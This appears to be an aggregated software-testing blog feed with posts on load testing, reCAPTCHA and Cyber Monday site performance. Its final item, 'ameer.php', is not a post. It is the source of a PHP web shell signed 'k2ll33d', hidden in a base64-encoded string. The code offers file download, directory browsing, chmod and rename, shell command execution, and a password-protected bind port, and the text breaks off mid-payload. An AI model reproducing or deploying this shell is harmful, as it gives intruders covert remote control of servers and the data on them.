Software Testing

A Little Q & A

Alan Page - Thu, 12/18/2014 - 12:57

I took some time recently to answer some questions about Combined Engineering, Data-Driven Quality, and the Future of Testing for the folks at the A1QA blog.

Check it out here.

(potentially) related posts:
  1. HWTSAM – Six Years Later
  2. Testing Trends…or not?
  3. Finding Quality
Categories: Software Testing

Introducing QuickStorm

LoadStorm - Wed, 12/17/2014 - 11:24

Here at LoadStorm, we’re happy to announce one of our newest, free features! Are you interested in web development? Have you creating your own site? QuickStorms are a great tool to get initial insight into site performance, and can also be used as a tool to benchmark performance before making performance enhancements on your site.

What is a QuickStorm?

QuickStorms are small, short load tests that can be used to evaluate site performance. All you have to do is enter your site’s URL. LoadStorm will generate a load test against the URL, scaling from 1 – 10 virtual users over 10 minutes.

How it works

LoadStorm PRO automatically creates a recording of every request made on the URL you provide. Next, we simulate the traffic escalating from one to ten virtual users, targeting that URL.

Try a QuickStorm test of 10 users on your site by entering the URL here:


Test Results Overview: Summary

The test results summary provides totals for key metrics from the test. The total amount of requests as well as the overall average response times for those requests are displayed.
Since it’s a QuickStorm, there will only be one script. All of the servers used for the URL will be displayed, so if you want to view performance by servers, you can filter for that.


What you want to see here:
In general, you want to see good average response times, peak response times that are near the average, no errors, and low throughput. In addition, low total data transferred is a good sign. It’s a good idea to avoid page bloat.

Response

This includes all the response times data for the site. Every request included on the site is displayed, detailing the amount of time each resource was requested, the size of the request, the average amount of time it took to get a response, and the peak amount of time it took to get a response.

What you want to see here:
Good response times for requests are under 250 ms, while 500 ms is still generally acceptable. Any longer and you’ll be in trouble if the volume of traffic increases.

Errors

If any errors occurred during the test, they will be shown here. The number of errors and the types will be shown here. The Errors by Resource table will list which resources yielded errors. Usually, errors won’t occur at such a low volume of traffic, but there are some times web developers are simply unaware of the problem. Eliminating these errors is an easy way to boost performance.

What you want to see here:
You want to see 0 errors here. Any errors here should be completely unacceptable. You can do better than that!

Pages

In LoadStorm, pages refer to each unique web page hit. Since QuickStorms are only performed on a single URL, you can expect to see only that single page listed here. Statistics for this page include the number of times each page was requested. For QuickStorms, this number usually reaches just over 100 times. This means your page was visited by virtual users just over 100 times in ten minutes!

During a regular load test, you would typically make a recording of several different pages to mimic the traffic you expect to see on your site. For example, a blog would include a recording of a user browsing to the homepage as well as many different posts.

What you want to see here:
You want to see a zero failures for your page. When it comes to average and peak completion times, you should aim for pages completing in under 5 seconds.

Transactions

This is a feature you won’t be able to experience through QuickStorms, so you can expect to not see any data here. A transaction is a collection of requests that you designate in order to monitor specific site transactions. One example of this would be a search transaction. It’s important to have stellar performance in this area, and by selecting to monitor the search transaction, you can get feedback here.

What you want to see here:
Nothing. To use the transaction feature, sign up for a free account with LoadStorm PRO.

Requests by Time

This data includes the results of the different requests, summarized by time. Here you can easily view any differences in response times between the first minute of the test (1 vuser) and the last minute of the test (10 concurrent users).


What you want to see here:
You want to see comparable response times at the beginning of the test, and the end of the test. Drastic differences can point to an underlying problem that’s just waiting to be exposed.

Export

All of the raw test result data is available for download in a CSV file. Like the Requests by Time, this data usually becomes available within 10 minutes of test completion. If you would just like to show off your results, we also have the test statistics compiled for export as a CSV report.


What you want to see here:
Your site’s excellent results in a pretty report you can show off to your friends or enemies! Try it! It’s fun! And you get a URL you can share. Please note that QuickStorms are limited to 10 per day!

The post Introducing QuickStorm appeared first on LoadStorm.

Google improves CAPTCHA

LoadStorm - Wed, 12/17/2014 - 09:41

Google recently announced their “no CAPTCHA reCAPTCHA” method that simplifies the end-user experience while offering an intelligent threat assessment behind the scenes to detect potential robots. All you will typically need to do is click a checkbox that tells their CAPTCHA that you’re not a robot. Then a brief loading animation occurs while it runs the assessment algorithm. If the system is not sure you’re human, it will then prompt you with an additional CAPTCHA check that uses the traditional distorted image for an extra security check. However, if you’re on a mobile browser, you may encounter a different method for the secondary check. This new method that Google is experimenting with will display an image, such as a cat, and will ask you to select all other images that match the subject.

So I definitely see the positive side here since humans should be able to proceed more quickly through a signup form or other checkpoint that requires CAPTCHA. People are impatient when using the internet, so every effort to speed things up is helpful in improving their experience. However, the other point Google makes is that robots are being programmed with enough intelligence to decipher these distorted text images with a 99.8% accuracy. So given that they’ve added an extra step with the click a checkbox, the next step isn’t any different than regular CAPTCHA unless you get the occasional experimental CAPTCHA that uses an image matching test. I’m not aware of the programming that goes into these robots, but it seems like it would be easy enough to tackle a checkbox and then interpret the distorted text image as usual.

What do you think?

The post Google improves CAPTCHA appeared first on LoadStorm.

Cyber Monday Performance Evaluations

LoadStorm - Fri, 12/12/2014 - 14:22

From Amazon to Argos, online retailers are experiencing more traffic than ever this holiday season. This Cyber Monday reached a record high of $2.68 billion! Competition is fierce, and in this game, seconds = $$$.

This year, we selected 29 major e-commerce sites and used LoadStorm to run several tests to compare their performance on the Wednesday before Thanksgiving with Cyber Monday. We created scripts for each site to model typical e-commerce user activity. Each script would hit the homepage, search for a product, add a product to the cart, and then visit the cart. Then we ran our performance tests for 10 minutes at a time, scaling from one to ten virtual users (vusers).

Here’s what we found:

Average Page Completion Time remained relatively reasonable.

Out of the 29 companies, 7 slowed down:

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/b19a7e0e607c4e6f871425d9e65450bf?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Walmart’s average page completion time increased from 2.9 seconds to 7.8 seconds. That’s huge! Amazon, on the other hand, remained consistent, with an average page completion time of just 1.6 seconds on both days. Average Page Completion Time remained nearly the same for the majority of the sites.

Six companies sped up:

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/194c7614fc474339822c76ea35d9b2b2?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Performance Error Rates increased.

Our preliminary load tests revealed zero performance errors across the board, with one exception. Monday, however, was a different story, as we saw five different companies experience performance errors. This included request read timeouts, request connection timeouts, and even some 503 (service unavailable) errors.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/cd90449da4a34cd586241f49db236220?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

The exception to the increase in performance error rates was Best Buy. Interestingly, we saw Best Buy experience seven request read timeout errors on Wednesday (on product pages and search results), but none on Monday. This seems to corroborate the fact that they became overwhelmed with traffic over the weekend, but they appeared to have recovered gracefully by Cyber Monday.

Peak Page Completion Times increased.

Every site we tested experienced high peak completion times. Some of the best performers with the lowest peak page completion time on both Wednesday and Cyber Monday included Toys “R” Us, Brookstone (one of our customer’s – yay!), Ikea, and Amazon, with peak page completion time only deviating 7% from their mean.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/0ed451f83e094382885704f17ecb83da?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Web Page Test Results

Web page tests were on each company’s home page were performed during testing on Wednesday and Monday as well. Surprisingly, the overall trend was a decrease in page load times. The average page load time from our web page tests decreased from 9.3 seconds to 5.6 seconds. We’re impressed!

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/f38d4bebb28d402ebd112aff763d6878?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Overall Performance

Nobody crashed while we were running our performance tests. Most sites appeared to perform reasonably well, but knowing that just one second delay could cost Amazon over $1.6 billion in sales over the course of a year those few errors matter immensely. Just 250 milliseconds, either slower or faster, is the magic number for competitive advantage on the web. So while none of the sites crashed entirely, whether or not they beat out their competition is another story.

Curious about how your site is performing? Try a free quickstorm instantly by entering your site’s URL here!

Please note that none of the companies involved were contacted nor paid for participation in our experiments. These were just for fun. Here’s the complete list of the companies we tested:

  • Walmart
  • Macy’s
  • JCPenny
  • Amazon
  • Target
  • Victoria’s Secret
  • Finish Line
  • Best Buy
  • Toys “R” Us
  • Urban Outfitters
  • Crate and Barrel
  • Barnes and Noble
  • Nordstrom
  • Newegg
  • PC Mall
  • Ann Taylor
  • Motorola
  • Avon
  • Footlocker
  • Brookstone
  • Kohls
  • Radioshack
  • Ebay
  • Argos
  • Ikea
  • Home Depot
  • Office Depot
  • Staples
  • Sam’s Club

The post Cyber Monday Performance Evaluations appeared first on LoadStorm.

ameer.php

Testing Reflections - Wed, 12/10/2014 - 06:51
<?php // fb/k2ll33d $k2ll33d='Ly8gYnkgazJsbDMzZCAvIGZiL2sybGwzM2QNCnNldF90aW1lX2xpbWl0KDApO2Vycm9yX3JlcG9ydGluZygwKTsNCmlmKGlzc2V0KCRfR0VUWyJkbCJdKSAmJiAoJF9HRVRbImRsIl0gIT0gIiIpKXskZmlsZSA9ICRfR0VUWyJkbCJdOyRmaWxleiA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7aGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpO2hlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuc3RybGVuKCRmaWxleikpO2hlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDtmaWxlbmFtZT0nIi5iYXNlbmFtZSgkZmlsZSkuIic7Iik7ZWNobyAkZmlsZXo7ZXhpdDt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyJkbGd6aXAiXSkgJiYgKCRfR0VUWyJkbGd6aXAiXSAhPSAiIikpeyRmaWxlID0gJF9HRVRbJ2RsZ3ppcCddOyRmaWxleiA9IGd6ZW5jb2RlKEBmaWxlX2dldF9jb250ZW50cygkZmlsZSkpO2hlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL3gtZ3ppcFxuIik7aGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJGZpbGV6KSk7aGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPSciLmJhc2VuYW1lKCRmaWxlKS4iLmd6JzsiKTtlY2hvICRmaWxlejtleGl0O30gDQppZihpc3NldCgkX0dFVFsiaW1nIl0pKXtAb2JfY2xlYW4oKTskZCA9IG1hZ2ljYm9vbSgkX0dFVFsieSJdKTskZiA9ICRfR0VUWyJpbWciXTskaW5mID0gQGdldGltYWdlc2l6ZSgkZC4kZik7JGV4dCA9IGV4cGxvZGUoJGYsIi4iKTskZXh0ID0gJGV4dFtjb3VudCgkZXh0KS0xXTtAaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJGluZlsibWltZSJdKTtAaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTtAaGVhZGVyKCJFeHBpcmVzOiAiLmRhdGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTtAaGVhZGVyKCJDYWNoZS1jb250cm9sOiBtYXgtYWdlPSIuKDYwKjYwKjI0KjcpKTtAcmVhZGZpbGUoJGQuJGYpO2V4aXQ7fSAkc29mdHdhcmUgPSBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpOw0KaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgJHNhZmVtb2RlID0gVFJVRTtlbHNlICRzYWZlbW9kZSA9IEZBTFNFOyRzeXN0ZW0gPSBAcGhwX3VuYW1lKCk7aWYoc3RydG9sb3dlcihzdWJzdHIoJHN5c3RlbSwwLDMpKSA9PSAid2luIikNCiR3aW4gPSBUUlVFO2Vsc2UgJHdpbiA9IEZBTFNFO2lmKGlzc2V0KCRfR0VUWyd5J10pKXtpZihAaXNfZGlyKCRfR0VUWyd2aWV3J10pKXskcHdkID0gJF9HRVRbJ3ZpZXcnXTtAY2hkaXIoJHB3ZCk7fSBlbHNleyRwd2QgPSAkX0dFVFsneSddO0BjaGRpcigkcHdkKTt9IH0gDQppZighJHdpbil7aWYoISR1c2VyID0gcmFwaWgoZXhlKCJ3aG9hbWkiKSkpJHVzZXIgPSAiIjtpZighJGlkID0gcmFwaWgoZXhlKCJpZCIpKSkgJGlkID0gIiI7JHByb21wdCA9ICR1c2VyLiIgXCQgIjskcHdkID0gQGdldGN3ZCgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7fSANCmVsc2UgeyR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTskaWQgPSAkdXNlcjskcHJvbXB0ID0gJHVzZXIuIiAmZ3Q7IjskcHdkID0gcmVhbHBhdGgoIi4iKS4iXFwiOyR2ID0gZXhwbG9kZSgiXFwiLCRkKTskdiA9ICR2WzBdO2ZvcmVhY2ggKHJhbmdlKCJBIiwiWiIpIGFzICRsZXR0ZXIpIHskYm9vbCA9IEBpc19kaXIoJGxldHRlci4iOlxcIik7aWYgKCRib29sKXskbGV0dGVycyAuPSAiPGEgaHJlZj0nP3k9Ii4kbGV0dGVyLiI6XFwnPlsgIjtpZiAoJGxldHRlci4iOiIgIT0gJHYpeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fSBlbHNlIHskbGV0dGVycyAuPSAiPHNwYW4gY2xhc3M9J2dheWEnPiIuJGxldHRlci4iPC9zcGFuPiI7fSAkbGV0dGVycyAuPSAiIF08L2E+ICI7fX19IA0KaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgJHBvc2l4ID0gVFJVRTsNCmVsc2UgJHBvc2l4ID0gRkFMU0U7JHNlcnZlcl9pcCA9IEBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7JG15X2lwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107JGJpbmRwb3J0ID0gIjEzMTIzIjskYmluZHBvcnRfcGFzcyA9ICJrMmxsMzNkIjskcHdkcyA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkcHdkKTskcHdkdXJsID0gIiI7Zm9yKCRpID0gMCA7JGkgPCBzaXplb2YoJHB3ZHMpLTEgOyRpKyspeyRwYXRoeiA9ICIiO2ZvcigkaiA9IDAgOyRqIDw9ICRpIDskaisrKXskcGF0aHogLj0gJHB3ZHNbJGpdLkRJUkVDVE9SWV9TRVBBUkFUT1I7fSAkcHdkdXJsIC49ICI8YSBocmVmPSc/eT0iLiRwYXRoei4iJz4iLiRwd2RzWyRpXS4iICIuRElSRUNUT1JZX1NFUEFSQVRPUi4iIDwvYT4iO30gDQppZihpc3NldCgkX1BPU1RbJ3JlbmFtZSddKSl7JG9sZCA9ICRfUE9TVFsnb2xkbmFtZSddOyRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTtAcmVuYW1lKCRwd2QuJG9sZCwkcHdkLiRuZXcpOyRmaWxlID0gJHB3ZC4kbmV3O30JaWYoaXNzZXQoJF9QT1NUWydjaG1vZCddKSl7IA0KJG5hbWUgPSAkX1BPU1RbJ25hbWUnXTskdmFsdWUgPSAkX1BPU1RbJ25ld3ZhbHVlJ107aWYgKHN0cmxlbigkdmFsdWUpPT0zKXskdmFsdWUgPSAwIC4gIiIgLiAkdmFsdWU7fUBjaG1vZCgkcHdkLiRuYW1lLG9jdGRlYygkdmFsdWUpKTskZmlsZSA9ICRwd2QuJG5hbWU7fQ0KaWYoaXNzZXQoJF9QT1NUWydjaG1vZF9mb2xkZXInXSkpeyRuYW1lID0gJF9QT1NUWyduYW1lJ107JHZhbHVlID0gJF9QT1NUWyduZXd2YWx1ZSddO2lmIChzdHJsZW4oJHZhbHVlKT09Myl7JHZhbHVlID0gMCAuICIiIC4gJHZhbHVlO31AY2htb2QoJHB3ZC4kbmFtZSxvY3RkZWMoJHZhbHVlKSk7JGZpbGUgPSAkcHdkLiRuYW1lO30gJGJ1ZmYgPSAiJm5ic3A7Ii4kc29mdHdhcmUuIjxicj4iOyRidWZmIC49ICImbmJzcDsiLiRzeXN0ZW0uIjxicj4iO2lmKCRpZCAhPSAiIikgJGJ1ZmYgLj0gIiZuYnNwOyIuJGlkLiI8YnI+IjtpZigkc2FmZW1vZGUpICRidWZmIC49ICImbmJzcDtzYWZlbW9kZSA6Jm5ic3A7PGI+PGZvbnQgc3R5bGU9J2NvbG9yOiNERDQ3MzYnPk9OPC9mb250PjwvYj48YnI+IjtlbHNlICRidWZmIC49ICImbmJzcDtzYWZlbW9kZSA6Jm5ic3A7PGI+PGZvbnQgc3R5bGU9J2NvbG9yOiMwMEZGMDAnPk9GRjwvZm9udD48L2I+PGJyPiI7DQpmdW5jdGlvbiBzaG93c3RhdCgkc3RhdCkge2lmICgkc3RhdD09Im9uIikge3JldHVybiAiPGI+PGZvbnQgc3R5bGU9J2NvbG9yOiMwMEZGMDAnPk9OPC9mb250PjwvYj4iO31lbHNlIHtyZXR1cm4gIjxiPjxmb250IHN0eWxlPSdjb2xvcjojREQ0NzM2Jz5PRkY8L2ZvbnQ+PC9iPiI7fX0NCmZ1bmN0aW9uIHRlc3RteXNxbCgpIHtpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0NCmZ1bmN0aW9uIHRlc3RjdXJsKCkge2lmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319DQpmdW5jdGlvbiB0ZXN0d2dldCgpIHtpZiAoZXhlKCd3Z2V0IC0taGVscCcpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319DQpmdW5jdGlvbiB0ZXN0cGVybCgpIHtpZiAoZXhlKCdwZXJsIC1oJykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0NCiRidWZmIC49ICImbmJzcDtNeVNRTDogIi50ZXN0bXlzcWwoKS4iJm5ic3A7fCZuYnNwO1Blcmw6ICIudGVzdHBlcmwoKS4iJm5ic3A7fCZuYnNwO2NVUkw6ICIudGVzdGN1cmwoKS4iJm5ic3A7fCZuYnNwO1dHZXQ6ICIudGVzdHdnZXQoKS4iPGJyPiI7DQokYnVmZiAuPSAiJm5ic3A7Ii4kbGV0dGVycy4iJm5ic3A7Jmd0OyZuYnNwOyIuJHB3ZHVybDsNCmZ1bmN0aW9uIHJhcGloKCR0ZXh0KXtyZXR1cm4gdHJpbShzdHJfcmVwbGFjZSgiPGJyPiIsIiIsJHRleHQpKTt9IA0KZnVuY3Rpb24gbWFnaWNib29tKCR0ZXh0KXtpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpe3JldHVybiAkdGV4dDt9IHJldHVybiBzdHJpcHNsYXNoZXMoJHRleHQpO30gDQpmdW5jdGlvbiBzaG93ZGlyKCRwd2QsJHByb21wdCl7JGZuYW1lID0gYXJyYXkoKTskZG5hbWUgPSBhcnJheSgpOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgDQokcG9zaXggPSBUUlVFO2Vsc2UgJHBvc2l4ID0gRkFMU0U7JHVzZXIgPSAiPz8/Pzo/Pz8/IjsNCmlmKCRkaCA9IG9wZW5kaXIoJHB3ZCkpe3doaWxlKCRmaWxlID0gcmVhZGRpcigkZGgpKXsNCmlmKGlzX2RpcigkZmlsZSkpeyRkbmFtZVtdID0gJGZpbGU7fSANCmVsc2VpZihpc19maWxlKCRmaWxlKSl7JGZuYW1lW10gPSAkZmlsZTt9fWNsb3NlZGlyKCRkaCk7fSBzb3J0KCRmbmFtZSk7c29ydCgkZG5hbWUpOyRwYXRoID0gQGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkcHdkKTskdHJlZSA9IEBzaXplb2YoJHBhdGgpOyRwYXJlbnQgPSAiIjsNCiRidWZmID0gIiA8Zm9ybSBhY3Rpb249Jz95PSIuJHB3ZC4iJmFtcDt4PXNoZWxsJyBtZXRob2Q9J3Bvc3QnIHN0eWxlPSdtYXJnaW46OHB4IDAgMCAwOyc+PHRhYmxlIGNsYXNzPSdjbWRib3gnIHN0eWxlPSd3aWR0aDo1MCU7Jz48dHI+PHRkPiRwcm9tcHQ8L3RkPjx0ZD48aW5wdXQgb25Nb3VzZU92ZXI9J3RoaXMuZm9jdXMoKTsnIGlkPSdjbWQnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J2NtZCcgc3R5bGU9J3dpZHRoOjQwMHB4OycgdmFsdWU9JycgLz48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nRG8gIScgbmFtZT0nc3VibWl0Y21kJyBzdHlsZT0nd2lkdGg6ODBweDsnIC8+PC90ZD48L3RyPjwvZm9ybT48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0JyBzdHlsZT0nbWFyZ2luOjhweCAwIDAgMDsnPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3knIHZhbHVlPSciLiRwd2QuIicgLz48dHI+PHRkPnZpZXcgZmlsZS9mb2xkZXI8L3RkPjxjZW50ZXI+PHRkPjxpbnB1dCBvbk1vdXNlT3Zlcj0ndGhpcy5mb2N1cygpOycgaWQ9J2dvdG8nIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3ZpZXcnIHN0eWxlPSd3aWR0aDo0MDBweDsnIHZhbHVlPSciLiRwd2QuIicgLz48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0ndmlldyAhJyBuYW1lPSdzdWJtaXRjbWQnIHN0eWxlPSd3aWR0aDo4MHB4OycgLz48L3RkPjwvY2VudGVyPjwvdHI+PC9mb3JtPjwvdGFibGU+PHRhYmxlIGNsYXNzPSdleHBsb3JlJz4gPHRyPjx0aD5uYW1lPC90aD48dGggc3R5bGU9J3dpZHRoOjgwcHg7Jz5zaXplPC90aD48dGggc3R5bGU9J3dpZHRoOjIxMHB4Oyc+b3duZXI6Z3JvdXA8L3RoPjx0aCBzdHlsZT0nd2lkdGg6ODBweDsnPnBlcm1zPC90aD48dGggc3R5bGU9J3dpZHRoOjExMHB4Oyc+bW9kaWZpZWQ8L3RoPjx0aCBzdHlsZT0nd2lkdGg6MTkwcHg7Jz5hY3Rpb25zPC90aD48L3RyPiAiOw0KaWYoJHRyZWUgPiAyKSANCmZvcigkaT0wOyRpPCR0cmVlLTI7JGkrKykgJHBhcmVudCAuPSAkcGF0aFskaV0uRElSRUNUT1JZX1NFUEFSQVRPUjsNCmVsc2UgJHBhcmVudCA9ICRwd2Q7DQpmb3JlYWNoKCRkbmFtZSBhcyAkZm9sZGVyKXsNCmlmKCRmb2xkZXIgPT0gIi4iKSB7DQppZighJHdpbiAmJiAkcG9zaXgpeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTskZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOyRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPSdnYXlhJz4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTt9IA0KZWxzZSB7JG93bmVyID0gJHVzZXI7fQ0KJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaHJlZj1cIj95PSIuJHB3ZC4iXCI+JGZvbGRlcjwvYT48L3RkPjx0ZD4tPC90ZD4NCjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPg0KPHRkPjxjZW50ZXI+Ii5nZXRfcGVybXMoJHB3ZCkuIjwvY2VudGVyPjwvdGQ+DQo8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVtdGltZSgkcHdkKSkuIjwvdGQ+PHRkPjxzcGFuIGlkPVwidGl0aWsxXCI+DQo8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0iLiRwd2QuIm5ld2ZpbGUucGhwXCI+bmV3ZmlsZTwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcigndGl0aWsxJywndGl0aWsxX2Zvcm0nKTtcIj5uZXdmb2xkZXI8L2E+DQo8L3NwYW4+PGZvcm0gYWN0aW9uPVwiP1wiIG1ldGhvZD1cImdldFwiIGlkPVwidGl0aWsxX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MTQwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibWtkaXJcIiB2YWx1ZT1cImFfbmV3X2ZvbGRlclwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJyZW5hbWVcIiBzdHlsZT1cIndpZHRoOjM1cHg7XCIgdmFsdWU9XCJHb1wiIC8+IA0KPC9mb3JtPjwvdGQ+PC90cj4gIjt9IA0KZWxzZWlmKCRmb2xkZXIgPT0gIi4uIil7IA0KaWYoISR3aW4gJiYgJHBvc2l4KQ0KeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTskZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOw0KJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107fSANCmVsc2UgeyAkb3duZXIgPSAkdXNlcjsgfSANCiRidWZmIC49ICI8dHI+PHRkPg0KPGEgaHJlZj1cIj95PSIuJHBhcmVudC4iXCI+ICAkZm9sZGVyPC9hPjwvdGQ+PHRkPi08L3RkPg0KPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+DQo8dGQ+PGNlbnRlcj4iLmdldF9wZXJtcygkcGFyZW50KS4iPC9jZW50ZXI+PC90ZD4gPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJHBhcmVudCkpLiI8L3RkPg0KPHRkPjxzcGFuIGlkPVwidGl0aWsyXCI+PGEgaHJlZj1cIj95PSRwd2QmYW1wO2VkaXQ9Ii4kcGFyZW50LiJuZXdmaWxlLnBocFwiPm5ld2ZpbGU8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJ3RpdGlrMicsJ3RpdGlrMl9mb3JtJyk7XCI+bmV3Zm9sZGVyPC9hPjwvc3Bhbj4gDQo8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgaWQ9XCJ0aXRpazJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4gDQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ5XCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJta2RpclwiIHZhbHVlPVwiYV9uZXdfZm9sZGVyXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHN0eWxlPVwid2lkdGg6MzVweDtcIiB2YWx1ZT1cIkdvXCIgLz4gDQo8L2Zvcm0+PC90ZD48L3RyPiI7fWVsc2V7aWYoISR3aW4gJiYgJHBvc2l4KXsgDQokbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZm9sZGVyKSk7IA0KJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsgDQokb3duZXIgPSAkbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz1cImdheWFcIj4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTt9IA0KZWxzZSB7ICRvd25lciA9ICR1c2VyOyB9DQokYnVmZiAuPSAiPHRyPjx0ZD48YSBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmtcIiBocmVmPVwiP3k9Ii4kcHdkLiRmb2xkZXIuRElSRUNUT1JZX1NFUEFSQVRPUi4iXCI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFCR2RCVFVFQUFMR1BDL3hoQlFBQUFBbHdTRmx6QUFBT